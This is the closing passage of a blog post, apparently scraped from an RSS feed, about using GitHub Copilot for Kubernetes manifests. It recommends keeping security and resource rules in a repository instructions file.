&lt;p&gt;It is also good at the mechanical transformations: converting a Deployment to a StatefulSet, adding an init container, expanding a Kustomize overlay.&lt;/p&gt;

&lt;p&gt;The pattern is the same one everywhere: it is strong where the answer is determined by the input, and weak where the answer requires knowing what your cluster is actually like.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix that outlasts the prompt
&lt;/h2&gt;

&lt;p&gt;Put the rules in &lt;code&gt;.github/copilot-instructions.md&lt;/code&gt; rather than re-typing them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; Every container sets resources.requests and resources.limits.
&lt;span class="p"&gt;-&lt;/span&gt; securityContext on every pod and container: runAsNonRoot, 
  allowPrivilegeEscalation: false, readOnlyRootFilesystem, drop ALL.
&lt;span class="p"&gt;-&lt;/span&gt; Images pinned by digest, not tag. :latest is not deployable here.
&lt;span class="p"&gt;-&lt;/span&gt; Three probes, and they point at different endpoints.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That changes what comes back on every request, which re-prompting does not. It supplies information the model did not have rather than asking it to try harder.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The longer version — including the full findings list, the NetworkPolicy and PodDisruptionBudget defaults, and the &lt;code&gt;conftest&lt;/code&gt; policies — is at &lt;a href="https://thecopilotstack.com/github-copilot/devops/kubernetes/" rel="noopener noreferrer"&gt;GitHub Copilot for Kubernetes Manifests&lt;/a&gt;. There is a companion repository with the manifests and the policy tests if you want something to run.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>devops</category>
      <category>security</category>
      <category>githubcopilot</category>
    </item>
  </channel>
</rss>
